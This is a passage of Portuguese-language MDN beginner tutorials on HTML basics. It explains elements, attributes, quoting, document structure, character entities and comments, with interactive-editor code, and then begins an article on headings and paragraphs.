parágrafo(`<p>`):\n\n\n```html\n<p>Meu gato é muito mal-humorado.</p>\n```\n\nAnatomia de um elemento HTML\n----------------------------\n\nVamos explorar nosso elemento parágrafo um pouco mais:\n\n![](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Getting_started/grumpy-cat-small.png)\n\nAs partes principais do elemento são:\n\n1. **Tag de abertura:** Consiste no nome do elemento ( neste caso: p ), envolvido entre **parênteses angulares** de abertura e fechamento. Isso indica onde o elemento começa, ou inicia a produzir efeito — neste caso, onde o parágrafo se inicia.\n2. **Tag de fechamento:** É o mesmo que a tag de abertura, exceto que este inclui uma barra diagonal antes do nome do elemento. Indica onde o elemento termina — neste caso, onde fica o fim do parágrafo. Falhar em incluir o fechamento de uma tag é um erro comum para iniciantes e pode levar a resultados estranhos.\n3. **O conteúdo:** Este é o conteúdo do elemento, que neste caso é somente texto.\n4. **O elemento:** A tag de abertura, mais a tag de fechamento, mais o conteúdo, é igual ao elemento.\n### Aprendizado ativo: criando seu primeiro elemento HTML\n\nEdite a linha abaixo na área *Entrada* colocando-a entre as tags `<em>` e `</em>` (adicione o `<em>` *antes para abrir o elemento*, e `</em>` depois, *para fechar o elemento*). Isto dará à linha uma ênfase em itálico! Você poderá ver as mudanças efetuadas no momento na área *Saída.*\n\nCaso você cometa um erro, você pode usar o botão *Resetar* para desfazer a ação incorreta. Se você realmente não souber o que fazer, pressione o botão *Mostrar solução* para visualizar a resposta.\n```\n\n<h2>Saída ao vivo</h2>\n<div class=\"output\" style=\"min-height: 50px;\"></div>\n\n<h2>Código editável</h2>\n<p class=\"a11y-label\">\n  Pressione Esc para afastar o foco da área de código (Tab insere um caractere\n  de tabulação).\n</p>\n\n<textarea id=\"code\" class=\"playable-code\" style=\"min-height: 100px;width: 95%\">\n  Este é meu texto.\n</textarea>\n\n<div class=\"controls\">\n  <input id=\"reset\" type=\"button\" value=\"Resetar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar solução\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: \"Open Sans Light\", Helvetica, Arial, sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar output = document.querySelector(\".output\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Mostrar solução\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Mostrar solução\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Ocultar solução\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Mostrar solução\";\n  }\n  updateCode();\n});\n\nvar htmlSolution = \"<em>Este é meu texto.</em>\";\nvar solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Mostrar solução\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\n### Aninhando elementos\n\nElementos podem ser inseridos dentro de outros elementos — isto é chamado de **aninhamento**. Se nós quisermos dizer que nosso gato é **muito** mal-humorado, nós poderemos envolver a palavra \"muito\" com o elemento `<strong>`, que significa enfatizar fortemente a palavra:\n\n\n```html\n<p>Meu gato é <strong>muito</strong> mal-humorado.</p>\n```\n\n\nNo entanto, você precisa garantir que seus elementos estejam adequadamente aninhados: no exemplo acima nós abrimos o elemento `p` primeiro, e então o elemento `strong`, portanto temos que fechar o elemento `strong` primeiro, depois o `p`. O código a seguir está errado:\n\n\n```html\n<p>Meu gato é <strong>muito mal-humorado.</p></strong>\n```\n\n\nOs elementos devem abrir e fechar corretamente para que eles fiquem claramente dentro ou fora do outro. Caso eles se sobreponham, como no exemplo acima, então o seu navegador tentará adivinhar o que você quis dizer, e talvez você obtenha resultados inesperados. Então não faça isso!\n\n### Elementos em bloco versus elementos inline\n\nHá duas categorias importantes no HTML, que você precisa conhecer. Eles são elementos em bloco e elementos inline.\n\n* Elementos em bloco formam um bloco visível na página — eles aparecerão em uma nova linha logo após qualquer elemento que venha antes dele, e qualquer conteúdo depois de um elemento em bloco também aparecerá em uma nova linha. Elementos em bloco geralmente são elementos estruturais na página que representam, por exemplo: parágrafos, listas, menus de navegação, rodapés etc. Um elemento em bloco não seria aninhado dentro de um elemento inline, mas pode ser aninhado dentro de outro elemento em bloco.\n* Elementos inline (na linha) são aqueles que estão contidos dentro de elementos em bloco envolvem apenas pequenas partes do conteúdo do documento e não parágrafos inteiros ou agrupamentos de conteúdo. Um elemento inline não fará com que uma nova linha apareça no documento: os elementos inline geralmente aparecem dentro de um parágrafo de texto, por exemplo: um elemento `<a>`(hyperlink) ou elementos de ênfase como `<em>` ou `<strong>`.\n\nVeja o seguinte exemplo:\n\n\n```html\n<em>primeiro</em>\n<em>segundo</em>\n<em>terceiro</em>\n\n<p>quarto</p>\n<p>quinto</p>\n<p>sexto</p>\n```\n\n\nO elemento `<em>` é inline, então como você pode ver abaixo, os três primeiros elementos ficam na mesma linha uns dos outros sem espaço entre eles. O `<p>`, por outro lado, é um elemento em bloco, então cada elemento aparece em uma nova linha, com espaço acima e abaixo de cada um (o espaçamento é devido à estilização CSS padrão que o browser aplica aos parágrafos).\n\n**Nota:** o HTML5 redefiniu as categorias de elemento em HTML5: veja Categorias de conteúdo de elementos. Enquanto essas definições são mais precisas e menos ambíguas que as anteriores, elas são muito mais complicadas de entender do que \"em bloco\" e \"inline\", então usaremos estas ao longo deste tópico.\n\n**Nota:** Os termos \"bloco\" e \"inline\", conforme usados neste tópico, não devem ser confundidos com os tipos de caixas CSS (en-US) com os mesmos nomes. Embora eles se correlacionem por padrão, alterar o tipo de exibição CSS não altera a categoria do elemento e não afeta em quais elementos ele pode conter e em quais elementos ele pode estar contido. Um dos motivos pelos quais o HTML5 abandonou esses termos foi evitar essa confusão bastante comum.\n\n**Nota:** Você pode encontrar páginas de referência úteis que incluem uma lista de elementos inline e em bloco — veja elementos em bloco e elementos inline.\n\n### Elementos vazios\n\nNem todos os elementos seguem o padrão acima de: tag de abertura, conteúdo, tag de fechamento. Alguns elementos consistem apenas em uma única tag, que é geralmente usada para inserir/incorporar algo no documento no lugar em que ele é incluído. Por exemplo, o elemento `<img>` insere uma imagem em uma página na posição em que ele é incluído:\n\n\n```html\n<img\n src=\"https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png\" />\n```\n\n\nIsto exibirá em sua página:\n\n**Nota:** Elementos vazios são também chamados de *void elements*.\n\nAtributos\n---------\n\nElementos também podem conter atributos, que se apresentam da seguinte forma:\n\n![My cat is very grumpy](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Getting_started/grumpy-cat-attribute-small.png)\n\nAtributos contém informação extra sobre o elemento, mas que você não deseja que apareça no conteúdo. Neste caso, o atributo `class` permite que você dê ao elemento um nome de identificação, que pode ser usada mais tarde para direcionar informação de estilo ao elemento e outras coisas.\n\nUm atributo deve conter:\n\n1. Um espaço entre ele e o nome do elemento (ou o atributo anterior, caso o elemento já contenha um ou mais atributos.)\n2. O nome do atributo, seguido por um sinal de igual.\n3. Um valor de atributo, com aspas de abertura e fechamento em volta dele.\n### Aprendizado ativo: Adicionando atributos a um elemento\n\nOutro exemplo de um elemento é `<a>` — isso significa \"âncora\" e fará com que a parte do texto que ele envolve vire um link. Isso pode ter vários atributos, mas o mais comuns são os seguintes:\n\n* O valor desse atributo especifica o endereço da web para o qual você deseja que o link aponte; onde o navegador irá quando o link for clicado. Por exemplo `href=\"https://www.mozilla.org/\"`.\n* `title`: O atributo `title` especifica uma informação extra sobre o link, assim como o assunto da página que está sendo linkada. Por exemplo `title=\"Homepage da Mozilla\"`. Isto será exibido como uma *tooltip (dica de contexto)* quando passarmos o mouse sobre o link.\n\nEdite a linha abaixo na área de Entrada para transformá-la em um link para o seu site favorito.\n\n1. Primeiro, adicione o elemento `<a>`.\n2. Segundo, adicione o atributo `href` e o atributo `title`.\n3. Por último, especifique o atributo `target` para abrir o link em uma nova aba.\n\nVocê poderá ver as atualizações das alterações ao vivo na área Saída. Você deve ver um link que, quando passa o mouse sobre ele, exibe o valor do atributo `title` e, quando clicado, navega para o endereço da web no atributo `href`. Lembre-se de que você precisa incluir um espaço entre o nome do elemento e cada atributo.\n\nCaso você cometa um erro, você poderá desfazê-lo usando o botão *Reset* ar. Caso você realmente não saiba como fazer, pressione o botão *Mostrar solução* para ver a resposta.\n```\n\n<h2>Saída ao vivo</h2>\n\n<div class=\"output\" style=\"min-height: 50px;\"></div>\n\n<h2>Código editável</h2>\n<p class=\"a11y-label\">\n  Pressione Esc para afastar o foco da área de código (Tab insere um caractere\n  de tabulação).\n</p>\n\n<textarea id=\"code\" class=\"input\" style=\"min-height: 100px;width: 95%\">\n  &lt;p&gt;Um link para o meu site favorito.&lt;/p&gt;\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Resetar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar solução\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar output = document.querySelector(\".output\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Mostrar solução\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Mostrar solução\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Ocultar solução\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Mostrar solução\";\n  }\n  updateCode();\n});\n\nvar htmlSolution =\n  '<p>Um link para o meu <a href=\"https://www.mozilla.org/\" title=\"Página da Mozilla\" target=\"\\_blank\"> site favorito</a>.</p>';\nvar solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Mostrar solução\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\n### Atributos boleanos\n\nÀs vezes você verá atributos escritos sem valores — isso é permitido nos chamados atributos boleanos, e eles podem ter somente um valor, que é geralmente o mesmo nome do atributo. Por exemplo, o atributo `disabled` você pode atribuir para os elementos de entrada de formulários, se desejar que estes estejam desativados (acinzentados), para que o usuário não possa inserir nenhum dado neles.\n```\n\n<input type=\"text\" disabled=\"disabled\">\n```\n\n\nDe forma abreviada, é perfeitamente permitido escrever isso da seguinte maneira (também incluímos um elemento de entrada de formulário não desativado para referência, para dar uma idéia do que está acontecendo):\n\n\n```html\n<!-- o uso do atributo disabled impede que o usuário final insira texto na caixa de entrada -->\n<input type=\"text\" disabled />\n\n<!-- O usuário pode inserir texto na caixa de entrada a seguir, pois não contém o atributo disabled -->\n<input type=\"text\" />\n```\n\n\nAmbos resultarão em uma *Saída* da seguinte forma:\n\n### Omitindo as aspas dos valores do atributo\n\nOlhando a World Wide Web (internet), você encontrará todos os tipos de estilos de marcação HTML, incluindo valores de atributos sem as aspas. Isso é permitido em algumas circunstâncias, mas irá quebrar sua marcação em outras. Por exemplo, se voltarmos ao exemplo anterior de link , nós podemos escrever a versão básica deste somente com o atributo `href`, da seguinte forma:\n```\n\n<a href=https://www.mozilla.org/>site favorito</a>\n```\n\n\nNo entanto, assim que adicionamos o atributo `title` neste elemento, a marcação resultará em erro:\n\n\n```html\n<a href=https://www.mozilla.org/ title=The Mozilla homepage>site favorito</a>\n```\n\n\nNeste ponto, o navegador irá interpretar errado sua marcação, de modo a pensar que o atributo `title` trata-se, na verdade, de três atributos: o atributo `title` com o valor \"The\", e dois atributos boleanos, `Mozilla` e `homepage`. Esta obviamente não era a intenção e irá causar erros ou um comportamento inesperado no código, assim como visto no exemplo abaixo. Tente colocar o mouse em cima do link para visualizar qual é o título que aparece!\n\nNossa recomendação é *sempre incluir as aspas nos valores dos atributos* — isto evita inúmeros problemas, além de resultar em um código mais legível.\n\n### Aspas simples ou duplas?\n\nVocê pode perceber que os valores dos atributos exemplificados neste artigo estão todos com aspas duplas, mas você poderá ver aspas simples no HTML de algumas pessoas. Esta é puramente uma questão de estilo e você pode se sentir livre para escolher qual prefere. As duas linhas de código a seguir são equivalentes:\n\n\n```html\n<a href=\"http://www.example.com\">Um link para o exemplo.</a>\n\n<a href=\"http://www.example.com\">Um link para o exemplo.</a>\n```\n\n\nEntretanto, você deve se certificar de não misturar os dois tipos de aspas juntos. O exemplo a seguir está errado!\n\n\n```html\n<a href=\"http://www.exemplo.com'>Um link para o exemplo.</a>\n```\n\n\nSe utilizar um tipo de aspas no seu HTML, você pode inserir o outro tipo de aspas no texto, por exemplo, que não ocorrerá erro, desta forma:\n\n\n```html\n<a href=\"http://www.example.com\" title=\"Isn't this fun?\"\n >A link to my example.</a\n>\n```\n\n\nNo entanto, se você quiser incluir aspas, dentro de aspas onde ambas as aspas são do mesmo tipo (aspas simples ou aspas duplas), será necessário usar entidades HTML para as aspas. Por exemplo, isso irá quebrar:\n\n\n```html\n<a href='http://www.example.com' title='Isn't this fun?'>A link to my example.</a>\n```\n\n\nEntão você precisa fazer isso:\n\n\n```html\n<a href=\"http://www.example.com\" title=\"Isn&#39;t this fun?\"\n >A link to my example.</a\n>\n```\n\nAnatomia de um documento HTML\n-----------------------------\n\nJá vimos os conceitos básicos dos elementos individuais do HTML, mas eles não são muito úteis sozinhos, Vamos aprender como estes elementos individuais são combinados entre si para criar uma página HTML inteira:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>My test page</title>\n  </head>\n  <body>\n    <p>This is my page</p>\n  </body>\n</html>\n```\n\n\nNeste código nós temos:\n\n1. `<!DOCTYPE html>`: O doctype. Nas névoas do tempo, quando o HTML era recente (por volta de 1991/2), doctypes funcionavam como links para uma série de regras as quais uma página HTML tinha que seguir para ser considerada uma página com um bom HTML, o que poderia significar a verificação automática de erros e outras coisas úteis. Ele costumava ser assim:\n\n```html\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n```\n\nNo entanto, atualmente, ninguém se importa com eles, e eles são realmente apenas um artefato histórico que precisa ser incluído para que tudo funcione corretamente. `<!DOCTYPE html>` é a menor cadeia de caracteres que conta como um doctype válido; é tudo o que você realmente precisa saber.\n2. `<html></html>`: O elemento `<html>` envolve o conteúdo da página inteira e é conhecido como o \"elemento raiz\" da página HTML.\n3. `<head></head>`: O elemento `<head>` atua como um container para todo o conteúdo da página HTML que não é visível para os visitantes do site. Isso inclui palavras-chave e a descrição da página que você quer que apareça nos resultados de busca, o CSS para estilizar o conteúdo da página (apesar de ser recomendado faze-lo num aquivo separado), declaração de conjunto de caracteres, e etc. Você aprenderá mais sobre isso no próximo artigo da série.\n4. `<meta charset=\"utf-8\">`: Este elemento define o tipo da codificação dos caracteres que o seu documento deve usar, neste caso, para o tipo UTF-8, que inclui a maioria dos caracteres das linguas humanas escritas. Essencialmente, ele consegue lidar com qualquer tipo de conteúdo textual que você puder colocar no documento. Não há motivos para não indicar essa informação e esse elemento ajuda a evitar vários problemas na sua página.\n5. `<title></title>`: O elemento `<title>`. Isto define o título de sua página, que aparecerá na guia do navegador na qual a página está carregada e é usado para descrevê-la quando for salva nos favoritos.\n6. `<body></body>`: O elemento `<body>` contém *todo* o conteúdo que você quer mostrar aos usuários quando eles visitarem sua página, como texto, imagens, vídeos, jogos, faixas de áudio reproduzíveis, ou qualquer outra coisa.\n### Aprendizado ativo: Adicionando alguns recursos ao documento HTML\n\nSe você quiser experimentar como funciona um documento HTML no seu computador, você pode:\n\n1. Copiar o exemplo de página HTML mostrada acima.\n2. Criar um novo documento em seu editor de texto.\n3. Colar o código no novo arquivo de texto.\n4. Salvar o arquivo com o nome `index.html`.\n\n**Nota:** Você também pode encontrar o template básico de HTML no MDN Learning Area Github repo.\n\nVocê pode abrir este arquivo no navegador para ver como o código renderizado se apresenta, e então, editar o código e atualizar a página no navegador para ver o resultado com as mudanças. Inicialmente será exibido assim:\n\n![A simple HTML page that says This is my page](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Getting_started/template-screenshot.png)Neste exercício, você pode editar o código localmente em seu computador, com descrito acima, ou você pode editá-lo na janela de exemplo editável abaixo (esta janela editável representa apenas o conteúdo do elemento `<body>` , neste caso). Nós gostaríamos que você seguisse as seguintes etapas:\n\n* Logo abaixo da tag de abertura `<body>`, adicione um título principal para o documento. Isso deve estar dentro da tag de abertura `<h1>`e da tag de fechamento `</h1>` .\n* Edite o conteúdo do parágrafo para incluir algum texto sobre algo de seu interesse.\n* Faça com que todas as palavras importantes sejam destacadas em negrito, colocando-as dentro da tag de abertura `<strong>` e da tag de fechamento `</strong>` .\n* Adicione um link ao seu parágrafo, conforme explicado anteriormente neste artigo.\n* conforme explicado anteriormente no artigo. Você receberá pontos de bônus se conseguir vincular a uma imagem diferente (localmente no seu computador ou em outro lugar da web).\n\nCaso você cometa um erro, você poderá desfazê-lo usando o botão *Resetar*. Caso você realmente não saiba como fazer, pressione o botão *Mostrar solução* para ver a resposta.\n```\n\n<h2>Saída ao vivo</h2>\n\n<div class=\"output\" style=\"min-height: 50px;\"></div>\n\n<h2>Código editável</h2>\n<p class=\"a11y-label\">\n  Pressione Esc para afastar o foco da área de código (Tab insere um caractere\n  de tabulação).\n</p>\n\n<textarea id=\"code\" class=\"input\" style=\"min-height: 100px;width: 95%\">\n  &lt;p&gt;Esta é minha página&lt;/p&gt;\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Resetar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar Solução\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh1 {\n  color: blue;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nimg {\n  max-width: 100%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar output = document.querySelector(\".output\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Mostrar Solução\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Mostrar Solução\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Ocultar Solução\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Mostrar Solução\";\n  }\n  updateCode();\n});\n\nvar htmlSolution =\n  '<h1>Algumas músicas</h1><p>Gosto muito de <strong> tocar bateria </strong>. Um dos meus bateristas favoritos é Neal Peart, que toca na banda <a href=\"https://pt.wikipedia.org/wiki/Rush\" title=\"Artigo da Rush na Wikipedia\">Rush</a>. Meu álbum favorito do Rush atualmente é <a href=\"http://www.deezer.com/album/942295\">Moving Pictures</a>.</p><img src=\"http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg\">';\nvar solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Mostrar Solução\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\n### Espaços em branco no HTML\n\nNos exemplos anteriores, você pode ter percebido a presença de espaços em branco nos códigos — isto não é necessário; os dois trechos de códigos a seguir são equivalentes:\n\n\n```html\n<p>Dogs are silly.</p>\n\n<p>Dogs        are\n         silly.</p>\n```\n\n\nNão importa quantos espaços em branco você use (que pode incluir caracteres de espaço, mas também quebras de linha), o analisador de HTML reduz cada um deles em um único espaço ao renderizar o código. Então, por que espaço em branco? A resposta é legibilidade — é muito mais fácil entender o que está acontecendo no seu código, se você o tiver bem formatado, e não apenas agrupado em uma grande confusão. Em nosso HTML, cada elemento aninhado é indentado em dois espaços a mais do que aquele em que está localizado. Depende de você que estilo de formatação você usa (quantos espaços para cada nível de recuo, por exemplo), mas considere formatá-lo.\n\nReferências de entidades: incluindo caracteres especiais no HTML\n----------------------------------------------------------------\n\nNo HTML, os caracteres `<`, `>`,`\"`,`'` e o `&` são caracteres especiais. Eles fazem parte da própria sintaxe HTML; portanto, como você inclui um desses caracteres no seu texto? Por exemplo, se você realmente deseja usar um e comercial ou sinal de menor que, e não tenha ele interpretado como código.\n\nTemos que usar referências de caracteres — códigos especiais que representam caracteres e podem ser usados nessas circunstâncias. Cada referência de caractere é iniciada com um e comercial (&) e finalizada por um ponto e vírgula (;).\n\n| Caractere literal | Referência de caractere equivalente |\n| --- | --- |\n| < | &lt; |\n| > | &gt; |\n| \" | &quot; |\n| ' | &apos; |\n| & | &amp; |\n\nNo exemplo abaixo, você pode ver dois parágrafos, que estão falando sobre tecnologias da web:\n\n\n```html-noint\n<p>Em HTML, você define um parágrafo usando o elemento <p>.</p>\n\n<p>Em HTML, você define um parágrafo usando o elemento &lt;p&gt;.</p>\n```\n\n\nNa saída ao vivo abaixo, você pode ver que o primeiro parágrafo deu errado, porque o navegador pensa que a segunda instância de <p> está iniciando um novo parágrafo. O segundo parágrafo parece bom, porque substituímos os parênteses angulares por referências de caracteres.\n\n**Nota:** A tabela com todas as referências de caracteres disponíveis em HTML pode ser encontrada na Wikipédia: List of XML and HTML character entity references. Observe que você não precisa usar referências de entidade para outros símbolos, pois os navegadores modernos manipularão os símbolos reais muito bem, desde que a codificação de caracteres do HTML esteja definida como UTF-8.\n\nComentários no HTML\n-------------------\n\nEm HTML, assim como na maioria das linguagens de programação, há um mecanismo para escrevermos comentários no código — comentários são ignorados pelo navegador e são invisíveis para o usuário, seu propósito é permitir a inclusão de comentários para descrever como o código funciona, especificar o que cada parte dele faz, e por ai vai. Isso pode ser muito útil se você retornar a uma base de código em que não trabalhou há muito tempo e não se lembrar do que fez — ou se você entregar seu código para outra pessoa trabalhar.\n\nPara transformar uma seção do conteúdo HTML em um comentário, você precisa agrupá-lo nos marcadores especiais `<!--` e `-->`, por exemplo:\n\n\n```html\n<p>Eu não estou dentro de um comentário</p>\n\n<!-- <p>Eu estou!</p> -->\n```\n\n\nComo você pode ver abaixo, o primeiro parágrafo fica visível na saída ao vivo, mas o segundo (que é um comentário) não.\n\nSumário\n-------\n\nVocê chegou ao final do artigo — esperamos que tenha gostado do seu tour pelos princípios básicos do HTML! Nesse ponto, você deve entender como é a linguagem, como ela funciona em um nível básico e ser capaz de escrever alguns elementos e atributos. Este é o lugar perfeito para se estar agora, já que os artigos subseqüentes deste módulo abordarão algumas das coisas que você já examinou com mais detalhes e introduzirão alguns novos conceitos da linguagem. Fique ligado!\n\n**Nota:** Nesse ponto, à medida que você começa a aprender mais sobre HTML, também pode querer explorar os conceitos básicos de Cascading Style Sheets, ou CSS. CSS é a linguagem usada para estilizar suas páginas da web (por exemplo, alterando a fonte ou as cores ou alterando o layout da página). HTML e CSS vão muito bem juntos, como você descobrirá em breve.\n\nVeja também\n-----------\n\n* Aplicando cores a elementos HTML usando CSS\n* Menu: Introduction to HTML\n* Próxima"}
{"title":"Fundamentos do texto em HTML - Aprendendo desenvolvimento web","text":"Fundamentos do texto em HTML\n============================\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima\n\nUm dos principais objetivos do HTML é dar estrutura de texto e significado, também conhecido como semântica), para que um navegador possa exibi-lo corretamente. Este artigo explica a forma como HTML pode ser usado para estruturar uma página de texto, adicionar títulos e parágrafos, enfatizar palavras, criar listas e muito mais.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Familiaridade básica em HTML, tal como coberto\n Iniciando com o HTML. |\n| Objetivo: | \n Aprenda como marcar uma página básica de texto para dar-lhe estrutura e\n significado — incluindo parágrafos, títulos, listas, ênfase e citações.\n  |\n\nO básico: Cabeçalhos e Parágrafos\n---------------------------------\n\nO texto mais estruturado é composto por títulos e parágrafos,esteja você lendo uma história, um jornal, um livro da faculdade, uma revista, etc.\n\n![An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs.](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals/newspaper_small.jpg)\n\nO conteúdo estruturado torna a experiência de leitura mais fácil e mais agradável.\n\nEm HTML, cada parágrafo deve ser envolvido em um elemento `<p>` , assim:\n\n\n```html\n<p>Eu sou um parágrafo, oh sim, eu sou.</p>\n```\n\n\nCada título deve ser envolvido em um elemento de título:\n\n\n```html\n<h1>Eu sou o título da história.</h1>\n```\n\n\nExistem seis elementos de título — `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US) e `<h6>` (en-US) . Cada elemento representa um nível diferente de conteúdo no documento; `<h1>` representa o título principal, `<h2>` representa subtítulos, `<h3>` representa sub-subtítulos, e assim por diante.\n\n### Implementando hierarquia estrutural\n\nComo exemplo, em uma história, `<h1>` representaria o título da história, `<h2>` representaria o título de cada capítulo e `<h3>` representaria sub-seções de cada capítulo, e assim por diante.\n\n\n```html\n<h1>O furo esmagador</h1>\n\n<p>Por Chris Mills</p>\n\n<h2>Capítulo 1: A noite escura</h2>\n\n<p>\n  Era uma noite escura. Em algum lugar, uma coruja piou. A chuva caiu no chão\n  ...\n</p>\n\n<h2>Capítulo 2: O eterno silêncio</h2>\n\n<p>\n  Nosso protagonista não podia ver mais que um relance da figura sombria ...\n</p>\n\n<h3>O espectro fala</h3>\n\n<p>\n  Várias horas se passaram, quando, de repente, o espectro ficou em pé e\n  exclamou: \"Por favor, tenha piedade da minha alma!\"\n</p>\n```\n\n\nDepende realmente de você, o quê, exatamente, representam os elementos envolvidos, desde que a hierarquia faça sentido. Você só precisa ter em mente algumas das melhores práticas ao criar tais estruturas:\n\n* Preferencialmente, você deve usar apenas um `<h1>` por página — esse é o título do nível 